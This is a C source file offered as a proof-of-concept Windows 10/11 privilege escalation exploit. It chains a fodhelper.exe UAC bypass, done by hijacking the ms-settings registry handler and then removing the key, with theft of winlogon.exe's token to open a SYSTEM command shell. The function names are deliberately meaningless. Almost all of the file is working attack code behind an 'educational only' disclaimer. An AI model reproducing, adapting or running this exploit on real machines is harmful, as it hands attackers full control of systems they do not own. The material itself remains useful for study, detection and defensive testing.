PrivEsc01.c

/*
 * Windows Privilege Escalation Exploit
 * Copyright (c) 2025 28zaakypro@proton.me
 *
 * Description: POC Double privilege escalation exploit (User -> Admin -> SYSTEM)
 * Techniques: UAC Bypass + Token Stealing
 * Platforms: Windows 10/11
 *
 * Educational purposes only. Use only on systems you own or have explicit permission to test.
 * Version: 1.1
 *
 * DISCLAIMER: This code is for educational and authorized penetration testing only.
 * It is a laboratory Proof of Concept, not a weaponized exploit.
 * The author is not responsible for any misuse of this code.
 */

// gcc -o PrivEsc.exe .\PrivEsc01.c -ladvapi32 -lshell32 -luser32

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>

BOOL aaa();
BOOL bbb();
BOOL ccc();
DWORD ddd();
BOOL eee();

BOOL aaa()
{
    BOOL aaa = FALSE;
    PSID adminGroup = NULL;
    SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;

    if (AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
                                 DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup))
    {
        if (!CheckTokenMembership(NULL, adminGroup, &aaa))
        {
            aaa = FALSE;
        }
        FreeSid(adminGroup);
    }
    return aaa;
}

BOOL bbb()
{
    HKEY hKey = NULL;
    LONG result;

    const char *registryPath = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
    const char *delegateExecute = "";

    char currentExe[MAX_PATH];
    if (GetModuleFileNameA(NULL, currentExe, MAX_PATH) == 0)
    {
        return FALSE;
    }

    char command[MAX_PATH + 50];
    snprintf(command, sizeof(command), "cmd /c start \"\" \"%s\" --admin", currentExe);

    result = RegCreateKeyExA(HKEY_CURRENT_USER, registryPath, 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL);
    if (result != ERROR_SUCCESS)
    {
        return FALSE;
    }

    result = RegSetValueExA(hKey, "", 0, REG_SZ, (BYTE *)command, (DWORD)strlen(command) + 1);
    if (result != ERROR_SUCCESS)
    {
        RegCloseKey(hKey);
        return FALSE;
    }

    result = RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ, (BYTE *)delegateExecute, (DWORD)strlen(delegateExecute) + 1);
    if (result != ERROR_SUCCESS)
    {
        RegCloseKey(hKey);
        return FALSE;
    }

    RegCloseKey(hKey);

    SHELLEXECUTEINFOA sei = {sizeof(sei)};
    sei.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
    sei.nShow = SW_HIDE;

    if (ShellExecuteExA(&sei))
    {
        Sleep(3000);
        RegDeleteKeyA(HKEY_CURRENT_USER, registryPath);
        return TRUE;
    }
    else
    {
        DWORD error = GetLastError();
    }
}

BOOL ccc()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    char *privileges[] = {
        SE_DEBUG_NAME,
        SE_IMPERSONATE_NAME,
        SE_ASSIGNPRIMARYTOKEN_NAME,
        SE_INCREASE_QUOTA_NAME};

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        return FALSE;
    }

    for (int i = 0; i < sizeof(privileges) / sizeof(privileges[0]); i++)
    {
        if (LookupPrivilegeValue(NULL, privileges[i], &luid))
        {
            tp.PrivilegeCount = 1;
            tp.Privileges[0].Luid = luid;
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

            AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        }
    }

    CloseHandle(hToken);
    return TRUE;
}

DWORD ddd()
{
    const char *targetProcName = "winlogon.exe";
    DWORD processID = 0;

    HANDLE processSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (processSnapshot == INVALID_HANDLE_VALUE)
    {
        return 0;
    }

    PROCESSENTRY32 processEntry;
    processEntry.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(processSnapshot, &processEntry))
    {
        CloseHandle(processSnapshot);
        return 0;
    }

    do
    {
        if (strcmp(targetProcName, processEntry.szExeFile) == 0)
        {
            processID = processEntry.th32ProcessID;
            break;
        }
    } while (Process32Next(processSnapshot, &processEntry));

    CloseHandle(processSnapshot);

    return processID;
}

BOOL eee()
{
    DWORD pid = ddd();
    if (pid == 0)
    {
        return FALSE;
    }

    if (!ccc())
    {
        return FALSE;
    }

    HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
    if (!hProcess)
    {
        return FALSE;
    }

    HANDLE hToken, hDupToken;
    if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hToken))
    {
        CloseHandle(hProcess);
        return FALSE;
    }

    SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation;
    TOKEN_TYPE tokenType = TokenPrimary;

    if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &hDupToken))
    {
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return FALSE;
    }

    STARTUPINFOW si = {sizeof(si)};
    PROCESS_INFORMATION pi = {0};

    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;

    wchar_t cmdPath[MAX_PATH];
    GetSystemDirectoryW(cmdPath, MAX_PATH);
    wcscat(cmdPath, L"\\cmd.exe");

    if (!CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE, cmdPath, NULL, 0, NULL, NULL, &si, &pi))
    {
        if (!CreateProcessAsUserW(hDupToken, cmdPath, NULL, NULL, NULL, FALSE,
                                  CREATE_NEW_CONSOLE, NULL, L"C:\\Windows\\System32", &si, &pi))
        {
            //
        }
        else
        {
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
    }
    else
    {
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }

    CloseHandle(hToken);
    CloseHandle(hDupToken);
    CloseHandle(hProcess);
    return TRUE;
}

int main(int argc, char *argv[])
{

    if (argc > 1 && strcmp(argv[1], "--admin") == 0)
    {
        if (aaa())
        {
            eee();
        }
        else
        {
            return 1;
        }
    }
    else
    {
        if (aaa())
        {
            eee();
        }
        else
        {
            bbb();
        }
    }

    getchar();
    return 0;
}